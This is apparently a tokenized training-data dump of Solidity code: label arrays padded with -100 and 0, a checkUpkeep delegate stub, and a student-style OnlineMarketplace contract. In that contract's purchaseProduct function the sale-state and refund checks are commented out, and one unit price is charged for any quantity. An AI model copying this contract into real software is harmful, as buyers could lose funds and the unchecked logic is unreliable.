-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x99BC393191c472202f27FB2bf3454ed0A6837ffb/sources/fflat.sol
* @notice Get the id of an eligible cron job @return upkeepNeeded signals if upkeep is needed, performData is an abi encoding of the id and "next tick" of the elligible cron job/
function checkUpkeep(bytes calldata) external override whenNotPaused cannotExecute returns (bool, bytes memory) { _delegate(s_delegate); }
859,550
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 968, 326, 612, 434, 392, 21351, 9998, 1719, 632, 2463, 731, 10102, 11449, 11505, 309, 731, 10102, 353, 3577, 16, 3073, 751, 353, 392, 24126, 2688, 434, 326, 612, 471, 315, 4285, 4024, 6, 434, 326, 415, 80, 16057, 9998, 1719, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 866, 1211, 10102, 12, 3890, 745, 892, 13, 3903, 3849, 1347, 1248, 28590, 2780, 5289, 1135, 261, 6430, 16, 1731, 3778, 13, 288, 203, 565, 389, 22216, 12, 87, 67, 22216, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "zeppelin/contracts/ownership/Ownable.sol"; import "zeppelin/contracts/lifecycle/Destructible.sol"; /** @title OnlineMarketplace. */ contract OnlineMarketplace is Ownable,Destructible { /**A struct type. Creates a product struct */ struct Product { string name; // name of the product uint sku; // sku # uint price; // price uint qty; // quantity State state; // Current state address buyer; uint index; // pointer to the index in productIndex; } /**A struct type. Creates a Store front struct. */ struct StoreFront { string name; // name of the store front address owner; // owner of the store uint balance; // funds collected in the store mapping(uint => Product) products; // products in the store uint[] productIndex; // array to track number of prducts uint index; //pointer to the index in storeFrontINdex } struct User { uint role; bool isActive; } /** An enum type. */ enum State { ForSale, Sold, Removed } /**Set the owner */ address owner; /* Track the most recent sku # */ uint skuCount; mapping(address => User) private users; // The administrator list. // mapping(address => bool) private approvedStoreOwners; // The store owner list. mapping(bytes32 => StoreFront) private storeFronts; //The storefronts. bytes32[] storeFrontIndex; // Array to track the store fronts. event AddAdministrator(address _administratorAddress); event AddStoreOwner(address _storeOwnerAddress); event CreateStoreFront(bytes32 _storeFrontId, string _name, address _owner); event ForSale(bytes32 _storeFrontId, string _productName, uint _sku, uint _qty); event ChangePrice(bytes32 _storeFrontId, uint _sku,uint _oldPrice, uint _newPrice); event Sold(bytes32 _storeFrontId, uint _sku, uint _qty, address _buyer); event Removed(bytes32 _storeFrontId, uint _sku); event Withdraw(bytes32 _storeFrontId, uint _balance); event LogSender(address _address); /* Checks if msg.sender is the owner of the contract */ modifier isOwner() { require(owner == msg.sender); _; } /* Checks if msg.sender is an administrator */ modifier verifyIsAdmin() { require(isAdmin(msg.sender)); _; } /* Checks if msg.sender is an approved store owner */ modifier verifyIsApprovedStoreOwner() { require(isApprovedStoreOwner(msg.sender)); _; } /* Checks if msg.sender is the expected address value. */ modifier verifyCaller (address _address) { require (msg.sender == _address); _; } modifier checkValue(bytes32 _storeFrontId, uint _sku) { //refund them after pay for item (why it is before, _ checks for logic before func) _; uint _price = storeFronts[_storeFrontId].products[_sku].price; uint amountToRefund = msg.value - _price; storeFronts[_storeFrontId].products[_sku].buyer.transfer(amountToRefund); } modifier forSale(bytes32 _storeFrontId, uint sku) { require(storeFronts[_storeFrontId].products[sku].state == State.ForSale); _; } modifier paidEnough(uint _price) { require(msg.value >= _price); _; } modifier qtyAvailable(bytes32 _storeFrontId, uint _sku, uint _qty) { require(storeFronts[_storeFrontId].products[_sku].qty >= _qty); _; } /**Constructor. @dev Instantiates the skuCount to 0. Sets owner to msg.sender. */ constructor() public { owner = msg.sender; skuCount = 0; } function () public { emit LogSender(msg.sender); } /** Checks if the passed address is an administrator * @param _address THe address to check. * @return success */ function isAdmin(address _address) public view returns (bool success) { return users[_address].isActive && users[_address].role == 1; } /** * @dev Adds the provided address as an administrator. * @param _address Address of the store owner. * @return success */ function addAdministrator(address _address) public isOwner returns (bool success) { users[_address] = User({role:1,isActive:true}); emit AddAdministrator(_address); return true; } /** * @dev Adds the provided address as an approved store owner. * @param _address address of the store owner. * @return success */ function addStoreOwner(address _address) public verifyIsAdmin returns (bool success) { users[_address] = User({role:2,isActive:true}); emit AddStoreOwner(_address); return true; } /**Check if the passed address is an approved store owners * @param _address The address to check. * @return success */ function isApprovedStoreOwner(address _address) public view returns (bool success) { return users[_address].isActive && users[_address].role == 2; } /**Check if the passed address is a valid user * @return success */ function login() public view returns (uint role) { if (users[msg.sender].role != 0) { return users[msg.sender].role; } else { return 401; } } /**Crate a store front * @param _name name of the store front * @return success */ function createStoreFront(string _name) public verifyIsApprovedStoreOwner returns (bool success) { bytes32 _storeFrontId = keccak256(abi.encodePacked(_name)); storeFrontIndex.push(_storeFrontId); storeFronts[_storeFrontId].name = _name; storeFronts[_storeFrontId].owner = msg.sender; storeFronts[_storeFrontId].index = storeFrontIndex.length - 1; emit CreateStoreFront(_storeFrontId, _name, msg.sender); return true; } /** * @dev Returns the number of store fronts * @return numberOfStoreFronts */ function getStoreFrontCount() public view returns (uint numberOfStoreFronts) { return storeFrontIndex.length; } /** * @dev Returns the store front details. * @param _index The index * @return storeFrontId The storeFrontId stored at this index. */ function getStoreFrontIdByIndex(uint _index) public view returns (bytes32 storeFrontId) { return (storeFrontIndex[_index]); } /** * @dev Returns the store front details. * @param _storeFrontId The id of the store front * @return storeFrontName The name of the store front * @return storeOwner The address of the store owner */ function getStoreFront(bytes32 _storeFrontId) public view returns (string storeFrontName, address storeOwner) { return (storeFronts[_storeFrontId].name, storeFronts[_storeFrontId].owner); } /** * @dev Returns the store front balance. * @param _storeFrontId The id of the store front * @return _balance */ function getStoreBalance(bytes32 _storeFrontId) public view returns (uint _balance) { return storeFronts[_storeFrontId].balance; } /** * @dev Add product to the store * @param _storeFrontId The id of the store front * @param _name The name of the product * @param _price The price of the product * @return success */ function addProduct(bytes32 _storeFrontId, string _name, uint _price, uint _qty) public verifyIsApprovedStoreOwner returns (bool success) { storeFronts[_storeFrontId].productIndex.push(skuCount); storeFronts[_storeFrontId].products[skuCount] = Product({ name: _name, sku: skuCount, price: _price, qty: _qty, state: State.ForSale, buyer: 0, index: storeFronts[_storeFrontId].productIndex.length - 1 }); emit ForSale(_storeFrontId, _name, skuCount, _qty); skuCount = skuCount + 1; return true; } /** Get the number of products in a store * @param _storeFrontId The id of the store front * @return productCount The count of products in a store. */ function getProductCountForAStore(bytes32 _storeFrontId) public view returns (uint productCount) { return storeFronts[_storeFrontId].productIndex.length; } /** Get the product id stored at the provided index * @param _storeFrontId The id of the store front * @param _index Index to look at. * @return productId The count of products in a store. */ function getProductIdStoredAtIndex(bytes32 _storeFrontId, uint _index) public view returns (uint productId) { return storeFronts[_storeFrontId].productIndex[_index]; } /** Get the product id stored at the provided index * @param _storeFrontId The id of the store front * @param _sku The product Id to get detail about * @return _name The name of the product. * @return _price The price of the product * @return _qty the quantity available * @return _buyer The buyer. * @return _state The prodcut state. * @return _index */ function getProduct(bytes32 _storeFrontId, uint _sku) public view returns (uint sku, string _name, uint _price, uint _qty, uint _index) { return ( _sku, storeFronts[_storeFrontId].products[_sku].name, storeFronts[_storeFrontId].products[_sku].price, storeFronts[_storeFrontId].products[_sku].qty, storeFronts[_storeFrontId].products[_sku].index ); } /** * @dev Remove product to tghe store * @param _storeFrontId The id of the store front * @param _sku The sku # of the product */ function removeProduct(bytes32 _storeFrontId, uint _sku) public verifyIsApprovedStoreOwner { emit Removed(_storeFrontId, _sku); uint rowToDelete = storeFronts[_storeFrontId].products[_sku].index; storeFronts[_storeFrontId].products[_sku].state = State.Removed; uint skuToMove = storeFronts[_storeFrontId].productIndex[storeFronts[_storeFrontId].productIndex.length - 1]; storeFronts[_storeFrontId].productIndex[rowToDelete] = skuToMove; storeFronts[_storeFrontId].products[skuToMove].index = rowToDelete; storeFronts[_storeFrontId].productIndex.length--; } /** * @dev Change price for a product * @param _storeFrontId The id of the store front * @param _sku The sku # of the product * @param _newPrice The new price for the product */ function changePrice(bytes32 _storeFrontId, uint _sku, uint _newPrice) public verifyIsApprovedStoreOwner { uint _oldPrice = storeFronts[_storeFrontId].products[_sku].price; storeFronts[_storeFrontId].products[_sku].price = _newPrice; emit ChangePrice(_storeFrontId, _sku, _oldPrice, _newPrice); } /** * @dev Buyer buys a product * @param _storeFrontId The id of the store front * @param _sku The sku # of the product * @return success */ function purchaseProduct(bytes32 _storeFrontId, uint _sku, uint _qty) public payable // forSale(_storeFrontId, _sku) paidEnough(storeFronts[_storeFrontId].products[_sku].price) qtyAvailable(_storeFrontId, _sku, _qty) // checkValue(_storeFrontId, _sku) { storeFronts[_storeFrontId].balance = storeFronts[_storeFrontId].balance + storeFronts[_storeFrontId].products[_sku].price; storeFronts[_storeFrontId].products[_sku].state = State.Sold; storeFronts[_storeFrontId].products[_sku].buyer = msg.sender; storeFronts[_storeFrontId].products[_sku].qty = storeFronts[_storeFrontId].products[_sku].qty - _qty; emit Sold(_storeFrontId, _sku, _qty, msg.sender); } /** * @dev Withdraw funds from a store and send it to the owner of the store front * @param _storeFrontId The id of the store front */ function withdraw(bytes32 _storeFrontId) public verifyIsApprovedStoreOwner { uint _balance = storeFronts[_storeFrontId].balance; emit Withdraw(_storeFrontId, _balance); storeFronts[_storeFrontId].balance = 0; storeFronts[_storeFrontId].owner.transfer(_balance); } }
array to track number of prducts
uint[] productIndex;
12,622,945
[ 1, 4625, 348, 7953, 560, 30, 225, 526, 358, 3298, 1300, 434, 846, 1828, 87, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 8526, 3017, 1016, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
